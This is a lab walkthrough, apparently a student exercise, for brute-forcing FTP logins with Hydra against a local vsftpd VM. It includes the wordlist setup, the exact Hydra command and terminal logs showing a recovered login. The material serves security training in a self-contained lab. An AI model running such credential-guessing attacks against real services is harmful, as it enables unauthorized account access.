

# Hydra FTP Brute-Force Experiment

## Step-by-Step in Kali Linux

### Step 1: Set up the Target (FTP Service)

If you're using **Metasploitable2**, FTP (vsftpd) is already running.

Otherwise, on another Linux VM:

```
sudo apt install vsftpd -y
```

```
sudo systemctl start vsftpd
```

```
sudo systemctl enable vsftpd
```

Now check if FTP is running:

```
sudo systemctl status vsftpd
```

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### Step 2: Determine Target IP

Find the target machine's IP using:

```
ifconfig
```

Example: 10.0.2.15

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### Step 3: Create Wordlists

Create username and password lists in your home directory:

```
cd ~
```

```
nano user.txt
```

Example contents:

**admin**

**ftp**

**user**

**test**

Then create the password list:

```
nano password.txt
```

Example contents:

**12345**

**password**

**admin**

**toor**

Save both using **Ctrl + O → Enter → Ctrl + X.**

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## **Step 4: Run Hydra Command**

Now execute Hydra with your lists and target IP:

**hydra -L user.txt -P password.txt ftp://10.0.2.15**

Explanation:

- **-L user.txt** → username list
  - **-P password.txt** → password list
  - **ftp://10.0.2.15** → target protocol and IP
- 

## **Step 5: Analyze Results**

Hydra will try each combination and show the successful login like:

**[21][ftp] host: 10.0.2.15 login: admin password: toor**

That's your valid credential pair.

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```
(rahul㉿kali)-[~]
└$ sudo apt install vsftpd -y
[sudo] password for rahul:
Upgrading:
  vsftpd

Summary:
  Upgrading: 1, Installing: 0, Removing: 0, Not Upgrading: 1270
  Download size: 151 kB
  Space needed: 28.7 kB / 24.6 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.3 [151 kB]
Fetched 151 kB in 1s (111 kB/s)
Preconfiguring packages ...
(Reading database ... 441726 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0.3_amd64.deb ...
Unpacking vsftpd (3.0.5-0.3) over (3.0.5-0.2) ...
Setting up vsftpd (3.0.5-0.3) ...
vsftpd user (ftp) already exists, doing nothing.

vsftpd directory (/srv/ftp) already exists, doing nothing.
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/
empty; please update the tmpfiles.d/ drop-in file accordingly.
Processing triggers for man-db (2.13.1-1) ...
Processing triggers for kali-menu (2025.3.0) ...
Scanning processes ...
Scanning linux images ...

26°C
Mostly cloudy
Search
Firefox
File Manager
Terminal
LibreOffice
Word Processor
Browser
File Transfer
System Tray: ENG IN, 6:15:09 PM, 10/16/2025, Right Ctrl
```

```
Kali Linux [Running] - Oracle VirtualBox
File Machine View Input Devices Help
File Actions Edit View Help
rahu@kali: ~
No VM guests are running outdated hypervisor (qemu) binaries on this host.

[rahul@kali: ~]
$ sudo systemctl start vsftpd

[rahul@kali: ~]
$ sudo systemctl enable vsftpd
Synchronizing state of vsftpd.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable vsftpd
Created symlink '/etc/systemd/system/multi-user.target.wants/vsftpd.service' → '/usr/lib/systemd/system/vsftpd.service'.

[rahul@kali: ~]
$ sudo systemctl status vsftpd
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; enabled; preset: disabled)
   Active: active (running) since Thu 2025-10-16 18:18:00 IST; 1min 17s ago
     Invocation: 8c0d90daf81846dc8150a4ac955ed244
      Main PID: 14901 (vsftpd)
        Tasks: 1 (limit: 6937)
       Memory: 956K (peak: 1.7M)
         CPU: 21ms
      CGroup: /system.slice/vsftpd.service
              └─14901 /usr/sbin/vsftpd /etc/vsftpd.conf

Oct 16 18:18:00 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server...
Oct 16 18:18:00 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.

[rahul@kali: ~]
$ 
```

```
Kali Linux [Running] - Oracle VirtualBox
File Machine View Input Devices Help
File Actions Edit View Help
rahu@kali: ~
[rahul@kali: ~]
$ ifconfig
br-fc94b72db10f: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
        inet6 fe80::42:24ff:fe85:6896 prefixlen 64 scopeid 0x20<link>
            ether 02:42:24:85:68:96 txqueuelen 0 (Ethernet)
                RX packets 0 bytes 0 (0.0 B)
                RX errors 0 dropped 0 overruns 0 frame 0
                TX packets 0 bytes 0 (0.0 B)
                TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
        ether 02:42:24:05:f9:7a txqueuelen 0 (Ethernet)
            RX packets 0 bytes 0 (0.0 B)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 0 bytes 0 (0.0 B)
            TX errors 0 dropped 6 overruns 0 carrier 0 collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
        inet6 fd17:625c:f037:2:6849:ea9e:1603:54d6 prefixlen 64 scopeid 0x0<global>
        inet6 fd17:625c:f037:2:a00:27ff:fe8f:74f8 prefixlen 64 scopeid 0x0<global>
        inet6 fe80::a00:27ff:fe8f:74f8 prefixlen 64 scopeid 0x20<link>
            ether 08:00:27:8f:74:f8 txqueuelen 1000 (Ethernet)
                RX packets 137 bytes 162919 (159.1 KiB)
                RX errors 0 dropped 0 overruns 0 frame 0
                TX packets 73 bytes 8390 (8.1 KiB)


```

```
Kali Linux [Running] - Oracle VM VirtualBox  
File Machine View Input Devices Help  
1 2 3 4 18:25  
File Actions Edit View Help  
RX packets 8 bytes 600 (600.0 B)  
RX errors 0 dropped 0 overruns 0 frame 0  
TX packets 40 bytes 4994 (4.8 KiB)  
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
[rahul@kali:~]  
$ cd Documents  
  
[rahul@kali:~/Documents]  
$ nano user.txt  
  
[rahul@kali:~/Documents]  
$ nano password.txt  
  
[rahul@kali:~/Documents]  
$ hydra -L user.txt -P password.txt ftp://10.0.2.15  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-16 18:24:47  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 18 login tries (l:6/p:3), ~2 tries per task  
[DATA] attacking ftp://10.0.2.15:21/  
[21][ftp] host: 10.0.2.15 login: rahul password: [REDACTED]  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-16 18:24:52  
  
[rahul@kali:~/Documents]  
$
```

6 26°C  
Mostly cloudy

Search



6:25:12 PM  
10/16/2025  
ENG IN